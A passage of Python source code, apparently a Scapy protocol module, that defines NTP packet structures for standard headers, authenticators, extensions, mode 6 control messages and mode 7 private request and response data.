None: cls = get_cls("NTPHeader") else: length = len(payload) if length >= _NTP_PACKET_MIN_SIZE: first_byte = struct.unpack("!B", payload[0])[0] # Extract NTP mode mode_mask = 0x07 mode = first_byte & mode_mask cls = get_cls(_ntp_cls_by_mode.get(mode)) return cls class NTP(Packet): """ Base class that allows easier instantiation of a NTP packet from binary data. """ @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _ntp_dispatcher(_pkt) def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) raise _NTPInvalidDataException(err) return s # NTPHeader, NTPControl and NTPPrivate are NTP packets. # This might help, for example when reading a pcap file. def haslayer(self, cls): ntp_classes = [ get_cls("NTPHeader"), get_cls("NTPControl"), get_cls("NTPPrivate") ] ret = 0 if cls == NTP: # If cls is NTP (the parent class), check that the object is an # instance of a NTP packet for ntp_class in ntp_classes: if isinstance(self, ntp_class): ret = 1 break elif cls in ntp_classes and isinstance(self, cls): ret = 1 return ret def getlayer(self, cls, nb=1, _track=None): ntp_classes = [ get_cls("NTPHeader"), get_cls("NTPControl"), get_cls("NTPPrivate") ] layer = None if cls == NTP: for ntp_class in ntp_classes: if isinstance(self, ntp_class): layer = self break else: layer = Packet.getlayer(self, cls, nb, _track) return layer def mysummary(self): return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%") class _NTPAuthenticatorPaddingField(StrField): """ StrField handling the padding that may be found before the "authenticator" field. """ def getfield(self, pkt, s): ret = None remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: start = length - _NTP_AUTH_MD5_TAIL_SIZE ret = s[:start] remain = s[start:] return remain, ret class NTPAuthenticator(Packet): """ Packet handling the "authenticator" part of a NTP packet, as defined in RFC 5905. """ name = "Authenticator" fields_desc = [ _NTPAuthenticatorPaddingField("padding", ""), IntField("key_id", 0), XStrFixedLenField("dgst", "", length_from=lambda x: 16) ] def extract_padding(self, s): return "", s class NTPExtension(Packet): """ Packet handling a NTPv4 extension. """ #________________________________________________________________________ # # RFC 7822 #________________________________________________________________________ # # 7.5. NTP Extension Field Format # # In NTPv3, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. # # Other than defining the field format, this document makes no use # of the field contents. An extension field contains a request or # response message in the format shown in Figure 14. # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Field Type | Length | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # . . # . Value . # . . # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Padding (as needed) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 14: Extension Field Format # # # All extension fields are zero-padded to a word (four octets) # boundary. #________________________________________________________________________ # name = "extension" fields_desc = [ ShortField("type", 0), ShortField("len", 0), PadField(PacketField("value", "", Packet), align=4, padwith="\x00") ] class NTPExtPacketListField(PacketListField): """ PacketListField handling NTPv4 extensions (NTPExtension list). """ def m2i(self, pkt, m): ret = None if len(m) >= 16: ret = NTPExtension(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): lst = [] remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: end = length - _NTP_AUTH_MD5_TAIL_SIZE extensions = s[:end] remain = s[end:] extensions_len = len(extensions) while extensions_len >= 16: ext_len = struct.unpack("!H", extensions[2:4])[0] ext_len = min(ext_len, extensions_len) if ext_len < 1: ext_len = extensions_len current = extensions[:ext_len] extensions = extensions[ext_len:] current_packet = self.m2i(pkt, current) lst.append(current_packet) extensions_len = len(extensions) if extensions_len > 0: lst.append(self.m2i(pkt, extensions)) return remain, lst class NTPExtensions(Packet): """ Packet handling the NTPv4 extensions and the "MAC part" of the packet. """ #________________________________________________________________________ # # RFC 5905 / RFC 7822 #________________________________________________________________________ # # 7.5. NTP Extension Field Format # # In NTPv4, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. #________________________________________________________________________ # name = "NTPv4 extensions" fields_desc = [ NTPExtPacketListField("extensions", [], Packet), PacketField("mac", NTPAuthenticator(), NTPAuthenticator) ] class NTPHeader(NTP): """ Packet handling the RFC 5905 NTP packet. """ #________________________________________________________________________ # # RFC 5905 #________________________________________________________________________ # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |LI | VN |Mode | Stratum | Poll | Precision | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Delay | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Dispersion | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Reference ID | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Reference Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Origin Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Receive Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Transmit Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 1 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 2 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Key Identifier | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | dgst (128) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 8: Packet Header Format #________________________________________________________________________ # name = "NTPHeader" fields_desc = [ BitEnumField("leap", 0, 2, _leap_indicator), BitField("version", 4, 3), BitEnumField("mode", 3, 3, _ntp_modes), BitField("stratum", 2, 8), BitField("poll", 0xa, 8), BitField("precision", 0, 8), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), ConditionalField(IPField("id", "127.0.0.1"), lambda p: p.stratum > 1), ConditionalField( StrFixedLenEnumField( "ref_id", "", length=4, enum=_reference_identifiers ), lambda p: p.stratum < 2 ), TimeStampField("ref", 0), TimeStampField("orig", None), TimeStampField("recv", 0), TimeStampField("sent", None), ] def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthenticator return Packet.guess_payload_class(self, payload) class _NTPInvalidDataException(Exception): """ Raised when it is not possible to instantiate a NTP packet with the given data. """ def __init__(self, details): Exception.__init__( self, "Data does not seem to be a valid NTP message" + details ) ############################################################################## ##### Private (mode 7) ############################################################################## # Operation codes _op_codes = { 0: "CTL_OP_UNSPEC", 1: "CTL_OP_READSTAT", 2: "CTL_OP_READVAR", 3: "CTL_OP_WRITEVAR", 4: "CTL_OP_READCLOCK", 5: "CTL_OP_WRITECLOCK", 6: "CTL_OP_SETTRAP", 7: "CTL_OP_ASYNCMSG", 8: "CTL_OP_CONFIGURE", 9: "CTL_OP_SAVECONFIG", 10: "CTL_OP_READ_MRU", 11: "CTL_OP_READ_ORDLIST_A", 12: "CTL_OP_REQ_NONCE", 31: "CTL_OP_UNSETTRAP" } # System status words _system_statuses = { 0: "no warning", 1: "last minute was 61 seconds", 2: "last minute was 59 seconds", 3: "alarm condition (clock not synchronized)" } _clock_sources = { 0: "unspecified or unknown", 1: " Calibrated atomic clock", 2: "VLF (band 4) or LF (band 5) radio", 3: "HF (band 7) radio", 4: "UHF (band 9) satellite", 5: "local net", 6: "UDP/NTP", 7: "UDP/TIME", 8: "eyeball-and-wristwatch", 9: "telephone modem" } _system_event_codes = { 0: "unspecified", 1: "system restart", 2: "system or hardware fault", 3: "system new status word (leap bits or synchronization change)", 4: "system new synchronization source or stratum (sys.peer or sys.stratum change)", 5: "system clock reset (offset correction exceeds CLOCK.MAX)", 6: "system invalid time or date", 7: "system clock exception", } # Peer status words _peer_statuses = { 0: "configured", 1: "authentication enabled", 2: "authentication okay", 3: "reachability okay", 4: "reserved" } _peer_selection = { 0: "rejected", 1: "passed sanity checks", 2: "passed correctness checks", 3: "passed candidate checks", 4: "passed outlyer checks", 5: "current synchronization source; max distance exceeded", 6: "current synchronization source; max distance okay", 7: "reserved" } _peer_event_codes = { 0: "unspecified", 1: "peer IP error", 2: "peer authentication failure", 3: "peer unreachable", 4: "peer reachable", 5: "peer clock exception", } # Clock status words _clock_statuses = { 0: "clock operating within nominals", 1: "reply timeout", 2: "bad reply format", 3: "hardware or software fault", 4: "propagation failure", 5: "bad date format or value", 6: "bad time format or value" } # Error status words _error_statuses = { 0: "unspecified", 1: "authentication failure", 2: "invalid message length or format", 3: "invalid opcode", 4: "unknown association identifier", 5: "unknown variable name", 6: "invalid variable value", 7: "administratively prohibited" } class NTPStatusPacket(Packet): """ Packet handling a non specific status word. """ name = "status" fields_desc = [ShortField("status", 0)] def extract_padding(self, s): return "", s class NTPSystemStatusPacket(Packet): """ Packet handling the system status fields. """ name = "system status" fields_desc = [ BitEnumField("leap_indicator", 0, 2, _system_statuses), BitEnumField("clock_source", 0, 6, _clock_sources), BitField("system_event_counter", 0, 4), BitEnumField("system_event_code", 0, 4, _system_event_codes), ] def extract_padding(self, s): return "", s class NTPPeerStatusPacket(Packet): """ Packet handling the peer status fields. """ name = "peer status" fields_desc = [ BitField("configured", 0, 1), BitField("auth_enabled", 0, 1), BitField("authentic", 0, 1), BitField("reachability", 0, 1), BitField("reserved", 0, 1), BitEnumField("peer_sel", 0, 3, _peer_selection), BitField("peer_event_counter", 0, 4), BitEnumField("peer_event_code", 0, 4, _peer_event_codes), ] def extract_padding(self, s): return "", s class NTPClockStatusPacket(Packet): """ Packet handling the clock status fields. """ name = "clock status" fields_desc = [ BitEnumField("clock_status", 0, 8, _clock_statuses), BitField("code", 0, 8) ] def extract_padding(self, s): return "", s class NTPErrorStatusPacket(Packet): """ Packet handling the error status fields. """ name = "error status" fields_desc = [ BitEnumField("error_code", 0, 8, _error_statuses), BitField("reserved", 0, 8) ] def extract_padding(self, s): return "", s class NTPControlStatusField(PacketField): """ This field provides better readability for the "status" field. """ #________________________________________________________________________ # # RFC 1305 #________________________________________________________________________ # # Appendix B.3. Commands // ntpd source code: ntp_control.h #________________________________________________________________________ # def m2i(self, pkt, m): ret = None association_id = struct.unpack("!H", m[2:4])[0] if pkt.error == 1: ret = NTPErrorStatusPacket(m) # op_code == CTL_OP_READSTAT elif pkt.op_code == 1: if association_id != 0: ret = NTPPeerStatusPacket(m) else: ret = NTPSystemStatusPacket(m) # op_code == CTL_OP_READVAR elif pkt.op_code == 2: if association_id != 0: ret = NTPPeerStatusPacket(m) else: ret = NTPSystemStatusPacket(m) # op_code == CTL_OP_WRITEVAR elif pkt.op_code == 3: ret = NTPStatusPacket(m) # op_code == CTL_OP_READCLOCK or op_code == CTL_OP_WRITECLOCK elif pkt.op_code == 4 or pkt.op_code == 5: ret = NTPClockStatusPacket(m) else: ret = NTPStatusPacket(m) return ret class NTPPeerStatusDataPacket(Packet): """ Packet handling the data field when op_code is CTL_OP_READSTAT and the association_id field is null. """ name = "data / peer status" fields_desc = [ ShortField("association_id", 0), PacketField("peer_status", NTPPeerStatusPacket(), NTPPeerStatusPacket), ] class NTPControlDataPacketLenField(PacketLenField): """ PacketField handling the "data" field of NTP control messages. """ def m2i(self, pkt, m): ret = None # op_code == CTL_OP_READSTAT if pkt.op_code == 1: if pkt.association_id == 0: # Data contains association ID and peer status ret = NTPPeerStatusDataPacket(m) else: ret = conf.raw_layer(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): length = self.length_from(pkt) i = None if length > 0: # RFC 1305 # The maximum number of data octets is 468. # # include/ntp_control.h # u_char data[480 + MAX_MAC_LEN]; /* data + auth */ # # Set the minimum length to 480 - 468 length = max(12, length) if length % 4: length += (4 - length % 4) try: i = self.m2i(pkt, s[:length]) except Exception: if conf.debug_dissector: raise i = conf.raw_layer(load=s[:length]) return s[length:], i class NTPControl(NTP): """ Packet handling NTP mode 6 / "Control" messages. """ #________________________________________________________________________ # # RFC 1305 #________________________________________________________________________ # # Appendix B.3. Commands // ntpd source code: ntp_control.h #________________________________________________________________________ # name = "Control message" fields_desc = [ BitField("zeros", 0, 2), BitField("version", 2, 3), BitField("mode", 6, 3), BitField("response", 0, 1), BitField("error", 0, 1), BitField("more", 0, 1), BitEnumField("op_code", 0, 5, _op_codes), ShortField("sequence", 0), ConditionalField(NTPControlStatusField( "status_word", "", Packet), lambda p: p.response == 1), ConditionalField(ShortField("status", 0), lambda p: p.response == 0), ShortField("association_id", 0), ShortField("offset", 0), ShortField("count", None), NTPControlDataPacketLenField( "data", "", Packet, length_from=lambda p: p.count), PacketField("authenticator", "", NTPAuthenticator), ] def post_build(self, p, pay): if self.count is None: length = 0 if self.data: length = len(self.data) p = p[:11] + struct.pack("!H", length) + p[13:] return p + pay ############################################################################## ##### Private (mode 7) ############################################################################## _information_error_codes = { 0: "INFO_OKAY", 1: "INFO_ERR_IMPL", 2: "INFO_ERR_REQ", 3: "INFO_ERR_FMT", 4: "INFO_ERR_NODATA", 7: "INFO_ERR_AUTH" } _implementations = { 0: "IMPL_UNIV", 2: "IMPL_XNTPD_OLD", 3: "XNTPD" } _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: "REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } # Flags in the peer information returns _peer_flags = [ "INFO_FLAG_CONFIG", "INFO_FLAG_SYSPEER", "INFO_FLAG_BURST", "INFO_FLAG_REFCLOCK", "INFO_FLAG_PREFER", "INFO_FLAG_AUTHENABLE", "INFO_FLAG_SEL_CANDIDATE", "INFO_FLAG_SHORTLIST", "INFO_FLAG_IBURST" ] # Flags in the system information returns _sys_info_flags = [ "INFO_FLAG_BCLIENT", "INFO_FLAG_AUTHENTICATE", "INFO_FLAG_NTP", "INFO_FLAG_KERNEL", "INFO_FLAG_CAL", "INFO_FLAG_PPS_SYNC", "INFO_FLAG_MONITOR", "INFO_FLAG_FILEGEN", ] class NTPInfoPeerList(Packet): """ Used to return raw lists of peers. """ name = "info_peer_list" fields_desc = [ IPField("addr", "0.0.0.0"), ShortField("port", 0), ByteEnumField("hmode", 0, _ntp_modes), FlagsField("flags", 0, 8, _peer_flags), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::") ] class NTPInfoPeerSummary(Packet): """ Sort of the info that ntpdc returns by default. """ name = "info_peer_summary" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), ByteField("stratum", 0), ByteField("hpoll", 0), ByteField("ppoll", 0), ByteField("reach", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("hmode", _ntp_modes), FixedPointField("delay", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("dispersion", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::") ] class NTPInfoPeer(Packet): """ Peer information structure. """ name = "info_peer" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("leap", 0), ByteEnumField("hmode", 0, _ntp_modes), ByteField("pmode", 0), ByteField("stratum", 0), ByteField("ppoll", 0), ByteField("hpoll", 0), SignedByteField("precision", 0), ByteField("version", 0), ByteField("unused8", 0), ByteField("reach", 0), ByteField("unreach", 0), XByteField("flash", 0), ByteField("ttl", 0), XLEShortField("flash2", 0), ShortField("associd", 0), LEIntField("keyid", 0), IntField("pkeyid", 0), IPField("refid", 0), IntField("timer", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), TimeStampField("reftime", 0), TimeStampField("org", 0), TimeStampField("rec", 0), TimeStampField("xmt", 0), FieldListField( "filtdelay", [0.0 for i in range(0, _NTP_SHIFT)], FixedPointField("", 0, size=32, frac_bits=16), count_from=lambda p: _NTP_SHIFT ), FieldListField( "filtoffset", [0.0 for i in range(0, _NTP_SHIFT)], TimeStampField("", 0), count_from=lambda p: _NTP_SHIFT ), FieldListField( "order", [0 for i in range(0, _NTP_SHIFT)], ByteField("", 0), count_from=lambda p: _NTP_SHIFT ), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("selectdisp", 0, size=32, frac_bits=16), IntField("unused1", 0), IntField("unused2", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("unused5", 0), IntField("unused6", 0), IntField("unused7", 0), FixedPointField("estbdelay", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoPeerStats(Packet): """ Peer statistics structure. """ name = "info_peer_stats" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 16, _peer_flags), IntField("timereset", 0), IntField("timereceived", 0), IntField("timetosend", 0), IntField("timereachable", 0), IntField("sent", 0), IntField("unused1", 0), IntField("processed", 0), IntField("unused2", 0), IntField("badauth", 0), IntField("bogusorg", 0), IntField("oldpkt", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("seldisp", 0), IntField("selbroken", 0), IntField("unused5", 0), ByteField("candidate", 0), ByteField("unused6", 0), ByteField("unused7", 0), ByteField("unused8", 0), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoLoop(Packet): """ Loop filter variables. """ name = "info_loop" fields_desc = [ TimeStampField("last_offset", 0), TimeStampField("drift_comp", 0), IntField("compliance", 0), IntField("watchdog_timer", 0) ] class NTPInfoSys(Packet): """ System info. Mostly the sys.* variables, plus a few unique to the implementation. """ name = "info_sys" fields_desc = [ IPField("peer", "0.0.0.0"), ByteField("peer_mode", 0), ByteField("leap", 0), ByteField("stratum", 0), ByteField("precision", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), IPField("refid", 0), TimeStampField("reftime", 0), IntField("poll", 0), FlagsField("flags", 0, 8, _sys_info_flags), ByteField("unused1", 0), ByteField("unused2", 0), ByteField("unused3", 0), FixedPointField("bdelay", 0, size=32, frac_bits=16), FixedPointField("frequency", 0, size=32, frac_bits=16), TimeStampField("authdelay", 0), FixedPointField("stability", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused4", 0), IP6Field("peer6", "::") ] class NTPInfoSysStats(Packet): """ System stats. These are collected in the protocol module. """ name = "info_sys_stats" fields_desc = [ IntField("timeup", 0), IntField("timereset", 0), IntField("denied", 0), IntField("oldversionpkt", 0), IntField("newversionpkt", 0), IntField("unknownversion", 0), IntField("badlength", 0), IntField("processed", 0), IntField("badauth", 0), IntField("received", 0), IntField("limitrejected", 0) ] class NTPInfoMemStats(Packet): """ Peer memory statistics. """ name = "info_mem_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalpeermem", 0), ShortField("freepeermem", 0), IntField("findpeer_calls", 0), IntField("allocations", 0), IntField("demobilizations", 0), FieldListField( "hashcount", [0.0 for i in range(0, _NTP_HASH_SIZE)], ByteField("", 0), count_from=lambda p: _NTP_HASH_SIZE ) ] class NTPInfoIOStats(Packet): """ I/O statistics. """ name = "info_io_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalrecvbufs", 0), ShortField("freerecvbufs", 0), ShortField("fullrecvbufs", 0), ShortField("lowwater", 0), IntField("dropped", 0), IntField("ignored", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("interrupts", 0), IntField("int_received", 0) ] class NTPInfoTimerStats(Packet): """ Timer stats. """ name = "info_timer_stats" fields_desc = [ IntField("timereset", 0), IntField("alarms", 0), IntField("overflows", 0), IntField("xmtcalls", 0), ] _conf_peer_flags = [ "CONF_FLAG_AUTHENABLE", "CONF_FLAG_PREFER", "CONF_FLAG_BURST", "CONF_FLAG_IBURST", "CONF_FLAG_NOSELECT", "CONF_FLAG_SKEY" ] class NTPConfPeer(Packet): """ Structure for passing peer configuration information. """ name = "conf_peer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), ByteField("hmode", 0), ByteField("version", 0), ByteField("minpoll", 0), ByteField("maxpoll", 0), FlagsField("flags", 0, 8, _conf_peer_flags), ByteField("ttl", 0), ShortField("unused1", 0), IntField("keyid", 0), StrFixedLenField("keystr", "", length=128), IntField("v6_flag", 0), IntField("unused2", 0), IP6Field("peeraddr6", "::") ] class NTPConfUnpeer(Packet): """ Structure for passing peer deletion information. """ name = "conf_unpeer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), IntField("v6_flag", 0), IP6Field("peeraddr6", "::") ] _restrict_flags = [ "RES_IGNORE", "RES_DONTSERVE", "RES_DONTTRUST", "RES_VERSION", "RES_NOPEER", "RES_LIMITED", "RES_NOQUERY", "RES_NOMODIFY", "RES_NOTRAP", "RES_LPTRAP", "RES_KOD", "RES_MSSNTP", "RES_FLAKE", "RES_NOMRULIST", ] class NTPConfRestrict(Packet): """ Structure used for specifying restrict entries. """ name = "conf_restrict" fields_desc = [ IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), FlagsField("flags", 0, 16, _restrict_flags), ShortField("m_flags", 0), IntField("v6_flag", 0), IP6Field("addr6", "::"), IP6Field("mask6", "::") ] class NTPInfoKernel(Packet): """ Structure used for returning kernel pll/PPS information """ name = "info_kernel" fields_desc = [ IntField("offset", 0), IntField("freq", 0), IntField("maxerror", 0), IntField("esterror", 0), ShortField("status", 0), ShortField("shift", 0), IntField("constant", 0), IntField("precision", 0), IntField("tolerance", 0), IntField("ppsfreq", 0), IntField("jitter", 0), IntField("stabil", 0), IntField("jitcnt", 0), IntField("calcnt", 0), IntField("errcnt", 0), IntField("stbcnt", 0), ] class NTPInfoIfStatsIPv4(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ PadField(IPField("unaddr", "0.0.0.0"), 16, padwith="\x00"), PadField(IPField("unbcast", "0.0.0.0"), 16, padwith="\x00"), PadField(IPField("unmask", "0.0.0.0"), 16, padwith="\x00"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoIfStatsIPv6(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ IP6Field("unaddr", "::"), IP6Field("unbcast", "::"), IP6Field("unmask", "::"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoMonitor1(Packet): """ Structure used for returning monitor data. """ name = "InfoMonitor1" fields_desc = [ IntField("lasttime", 0), IntField("firsttime", 0), IntField("lastdrop", 0), IntField("count", 0), IPField("addr", "0.0.0.0"), IPField("daddr", "0.0.0.0"), IntField("flags", 0), ShortField("port", 0), ByteField("mode", 0), ByteField("version", 0), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::"), IP6Field("daddr6", "::") ] class NTPInfoAuth(Packet): """ Structure used to return information concerning the authentication module. """ name = "info_auth" fields_desc = [ IntField("timereset", 0), IntField("numkeys", 0), IntField("numfreekeys", 0), IntField("keylookups", 0), IntField("keynotfound", 0), IntField("encryptions", 0), IntField("decryptions", 0), IntField("expired", 0), IntField("keyuncached", 0), ] class NTPConfTrap(Packet): """ Structure used to pass add/clear trap information to the client """ name = "conf_trap" fields_desc = [ IPField("local_address", "0.0.0.0"), IPField("trap_address", "0.0.0.0"), ShortField("trap_port", 0), ShortField("unused", 0), IntField("v6_flag", 0), IP6Field("local_address6", "::"), IP6Field("trap_address6", "::"), ] class NTPInfoControl(Packet): """ Structure used to return statistics from the control module. """ name = "info_control" fields_desc = [ IntField("ctltimereset", 0), IntField("numctlreq", 0), IntField("numctlbadpkts", 0), IntField("numctlresponses", 0), IntField("numctlfrags", 0), IntField("numctlerrors", 0), IntField("numctltooshort", 0), IntField("numctlinputresp", 0), IntField("numctlinputfrag", 0), IntField("numctlinputerr", 0), IntField("numctlbadoffset", 0), IntField("numctlbadversion", 0), IntField("numctldatatooshort", 0), IntField("numctlbadop", 0), IntField("numasyncmsgs", 0), ] # ntp_request.h _ntpd_private_errors = { 0: "no error", 1: "incompatible implementation number", 2: "unimplemented request code", 3: "format error (wrong data items, data size, packet size etc.)", 4: "no data available (e.g. request for details on unknown peer)", 5: "I don\"t know", 6: "I don\"t know", 7: "authentication failure (i.e. permission denied)", } # dict mapping request codes to the right response data class _private_data_objects = { 0: NTPInfoPeerList, # "REQ_PEER_LIST", 1: NTPInfoPeerSummary, # "REQ_PEER_LIST_SUM", 2: NTPInfoPeer, # "REQ_PEER_INFO", 3: NTPInfoPeerStats, # "REQ_PEER_STATS", 4: NTPInfoSys, # "REQ_SYS_INFO", 5: NTPInfoSysStats, # "REQ_SYS_STATS", 6: NTPInfoIOStats, # "REQ_IO_STATS", 7: NTPInfoMemStats, # "REQ_MEM_STATS", 8: NTPInfoLoop, # "REQ_LOOP_INFO", 9: NTPInfoTimerStats, # "REQ_TIMER_STATS", 10: NTPConfPeer, # "REQ_CONFIG", 11: NTPConfUnpeer, # "REQ_UNCONFIG", 28: NTPInfoAuth, # "REQ_AUTHINFO", 30: NTPConfTrap, # "REQ_ADD_TRAP", 34: NTPInfoControl, # "REQ_GET_CTLSTATS", 38: NTPInfoKernel, # "REQ_GET_KERNEL", 42: NTPInfoMonitor1, # "REQ_MON_GETLIST_1", } class NTPPrivateRespPacketListField(PacketListField): """ PacketListField handling the response data. """ def m2i(self, pkt, s): ret = None # info_if_stats if pkt.request_code == 44 or pkt.request_code == 45: is_v6 = struct.unpack("!I", s[48:52])[0] ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s) else: ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s) return ret def 